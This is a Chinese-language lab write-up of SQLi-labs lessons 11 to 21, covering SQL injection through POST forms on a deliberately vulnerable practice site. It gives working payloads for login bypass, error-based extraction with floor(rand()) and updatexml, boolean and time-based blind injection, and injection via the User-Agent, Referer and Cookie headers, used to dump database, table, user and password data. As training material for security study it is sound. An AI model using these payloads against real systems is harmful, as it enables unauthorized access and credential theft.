Lesson 11: POST - Error based - Single quotes - String
// POST-基于错误-单引号-字符型
点击进入之后发现与之前的界面不同了:
我们尝试用admin:admin登录,没想到直接进去了,哈哈哈哈
但这不是我们的最终目标,因为这只是恰好猜对了密码,我们尝试在用户名的后面加个单引号',又出现了熟悉的报错:
根据报错信息可以看出,在进行数据库查询时,加的单引号破坏了开发者期待的查询(查询username和password用and连接放在同一个SQL语句中)select username,password from users where username='用户名' and password='密码' limit 0,1
知道原理之后,那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:uname=admin' or 1=1-- &passwd=123&submit=Submit
uname=admin' or 1=1# &passwd=123&submit=Submit
这里注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#
和--
进行注释即可。
通过对它的SQL查询语句进行观察,limit 0,1
,发现它是对第一个用户名密码进行匹配,我们可以更改payload来获得其他用户名密码:
Lesson 12: POST - Error based - Double quotes - String - with twist
// POST-基于错误-双引号-字符型变形
随意输入数据,发现登录失败,后面加个单引号还是一样:
接着试一下双引号,发现有报错:
看到这里,感觉是和lesson 11差不多的吧?把lesson 11的payload改一下,再进行尝试
怎么还不行?再认真看一下之前的报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'topo") LIMIT 0,1' at line 1
,原来是有个括号~
然后加个括号再试一次:uname=topo") or 1=1 #&passwd=topo&submit=Submit
,发现成功了!
Lesson 13: POST - Double injection - Single quotes - String - with twist
// POST-双注入-单引号-字符型变形
我们直接POST:uname=topo'&passwd=2333&submit=Submit
报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2333') LIMIT 0,1' at line 1
,说明是有括号的。
再POST:uname=topo') or 1=1#&passwd=2333&submit=Submit
这次不回显账号信息了,这种双注入的做法,之前lesson 5讲过一次。这次试试网上的做法。详情
先来了解一下几个函数:
- CONCAT() //用于将多个字符串连接为一个字符串
- RAND() //返回从0到1之间的随机浮点值
- FLOOR() //向下取整
- COUNT() //返回匹配指定条件的行数。
- GROUP BY CLAUSE //指定的规则对数据进行分组
tips:因为有随机函数的关系,所以以下payload有可能要执行多次。
1. 获取数据库名:
uname=topo') union select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit
解释一下这个payload:最里面是select database()
是查询数据库名,然后把数据库名和0或1用concat()
连接起来,那么会得到DBNAME0或者DBNAME1;然后给两个数据取一个别名a,再用GROUP BY DBNAME
对数据进行分组;当进行最终查询时,就会报出select database()
相关的错误:Duplicate entry 'security0' for key 'group_key'
,这里有点不是很理解,重复的键值?
同理,我们把这里换成别的查询语句,就能获得相应的信息了。
2. 获取表名
uname=topo') union select count(*), concat((select table_name from information_schema.tables where table_schema='security' limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit
更改limit N,1
,可以查到不同表的名字。
3. 获取列名
uname=topo') union select count(*), concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit
4. 获取数据
uname=topo') union select count(*), concat((select username from users limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit
// 获取用户名uname=topo') union select count(*), concat((select password from users limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a#&passwd=2333&submit=Submit
// 获取密码
Lesson 14: POST - Double injection - Single quotes - String - with twist
// POST-双注入-单引号-字符型变形
先使用单引号,发现没有显示,再使用双引号,又出现了报错
使用uname=topo" or 1=1#&passwd=2333&submit=Submit
,成功登录
可以使用lesson 13相同的方法来获取数据库相关信息 ↑
Lesson 15:POST - Blind - Boolian/time based - Single quotes
// POST-盲注-基于布尔/时间-单引号
直接加单引号或双引号都登陆失败,没有回显错误信息:
试试密码绕过:
发现可以绕过成功登录了,但是没有获取到账号信息,我们用布尔盲注的方法来猜解数据库信息。
uname=topo' or 想要查询的数据库信息#&passwd=2333&submit=Submit
例如:
// 判断数据库名长度uname=topo' or length(database())=8#&passwd=2333&submit=Submit
// 猜解数据库字符uname=topo' or ascii(substring(database(),1,1))=115#&passwd=2333&submit=Submit
······
还可以使用时间盲注的方法来猜解数据库信息:
先说明一下if()函数:IF(expr1 , expr2 , expr3)
expr1 的值为 TRUE,则返回值为 expr2 ;expr1 的值为FALSE,则返回值为 expr3。
IF(查询数据库信息语句,1,sleep(5))
,即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。与上面的步骤类似,这样我们同样便可以逐步猜解数据库信息。
Lesson 16:POST - Blind - Boolian/time based - Double quotes
// POST-盲注-基于布尔/时间-双引号
先试单引号不行,再试双引号发现也不行,后来想了想,好像加)的没试。试了下果然是。。那这个标题就应该按之前的套路来写,应该是 POST - Blind - Boolian/time based - Double quotes - with twist的,而不是现在这个的,这个必须得吐槽一下,误导了我。然后就可以用lesson 15类似的方法来做了。
uname=topo") or 1=1#&passwd=2333&submit=Submit
Lesson 17:POST - Update Query - Error based - String
// POST-更新查询-基于错误-字符型
进去之后各种尝试了一下,发现这个页面的功能是当你输入正确的用户名后,就会帮你更改密码;输入错误的用户名,则会报错:
假设我们知道了用户名为admin,那么很明显就可以直接改密码了,但是我们的目标不是这个,应该想办法找出哪里可以注入,经过不断尝试,发现password那里存在注入:
先了解一下什么是XML?详情
XML,EXtensible Markup Language,可扩展标记语言,是用来存储、传送和交换数据的。
这里用到Mysql的一个函数:UPDATEXML (XML_document, XPath_string, new_value);
- XML_document:String格式,为XML文档对象的名称;
- XPath_string:Xpath格式的字符串;
- new_value:String格式,替换查找到的符合条件的数据;
作用:改变文档中符合条件的节点的值。
Syntax:
UpdateXML(xml_target, xpath_expr, new_xml)
This function replaces a single portion of a given fragment of XML
markup xml_target with a new XML fragment new_xml, and then returns the
changed XML. The portion of xml_target that is replaced matches an
XPath expression xpath_expr supplied by the user. In MySQL 5.6.6 and
earlier, the XPath expression could contain at most 127 characters.
This limitation is lifted in MySQL 5.6.7. (Bug #13007062, Bug #62429)
If no expression matching xpath_expr is found, or if multiple matches
are found, the function returns the original xml_target XML fragment.
All three arguments should be strings.
URL: http://dev.mysql.com/doc/refman/5.6/en/xml-functions.html
构造payload:2333' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
2333' and updatexml(1,concat(0x7e,想要查询的信息,0x7e),1)#
通过更换斜体的语句来获取数据库信息,可参考 -> Lesson 1
Lesson 18:POST - Header injection - Uagent field - Error based
// POST-头部注入-User-agent字段-基于错误
刚开始,在两个表单里尝试各种payload,发现都没法注入了,怀疑它已经做了防护了。我们偷偷查看一下源码发现果然如此:
简单看下函数功能:
substr(str,pos,len)从pos开始的位置,截取len个字符;
magic_quotes_gpc()自动将进入 PHP 脚本的数据进行转义的;
ctype_digit()检查提供的 string 和 text 里面的字符是不是都是数字;
intval()获取变量的整数值.
所以不能利用username或者password进行注入。那我们应该应该去寻找别的注入点。
一般注入位置有:
- URL参数提交,主要为GET请求参数;
- 表单提交,主要是POST请求,也包括GET请求;
- HTTP请求头部的一些可修改的值,比如Referer、User_Agent等;
- Cookie参数提交;
- ......
前面两个我们已经在之前课程有接触过,我们来看看其他的注入点。
假设我们通过弱口令进去了,admin:admin,进去之后发现它回显了我们的User-agent
那我们就可以大胆推测,HTTP头部存在注入,可以利用工具,如:Burp suite,firefox的插件等
构造User-Agent进行注入。
在User-Agent后加上' or updatexml(1,concat(0x7e,(select version()),0x7e),1)
发现报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', '127.0.0.1', 'admin')' at line 1
根据报错信息,把payload修改为:' or updatexml(1,concat(0x7e,(select version()),0x7e),1),1,1)#
发现可以查到数据库信息了,接着用之前相同的步骤就能获取到字段值了。
Lesson 19: POST - Header injection - Referer field - Error based
// POST-头部注入-Referer字段-基于错误
这个与Lesson 18类似,通过弱口令admin:admin进去,看到Referer字段。
同样的,用Burpsuite进行抓包:
在User-Agent后加上' and updatexml(1,concat(0x7e,(select version()),0x7e),1)1,1)
发现也可以查询到信息:
同样的还可以用另一种payload:' or (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#
也可以获得相同的效果。
Lesson 20: POST - Cookie injection - Uagent field - Error based
// POST-Cookies注入-User-agent字段-基于错误
用admin:admin进去之后
看到界面提示,应该是和Cookie有关,尝试在Cookie字段进行注入:uname=-1' union select 1,database(),user()#
发现能获取到我们想要的信息,然后利用这个就可以猜解数据库信息了,类似与Lesson 1,只不过把我们构造的payload填在了不同的地方。
Lesson 21: POST - Dump into oufile - String
// POST-导出文件-字符型
直接点击lesson 21,不能跳转到相应的页面,我刚开始以为环境没搭好,后面发现是Lesson 21开始,到高级注入的部分了。
不过看标题应该是利用写入一句话木马文件来获得数据库信息,只不过换了提交方式。
那么,基础部分就到这里为止~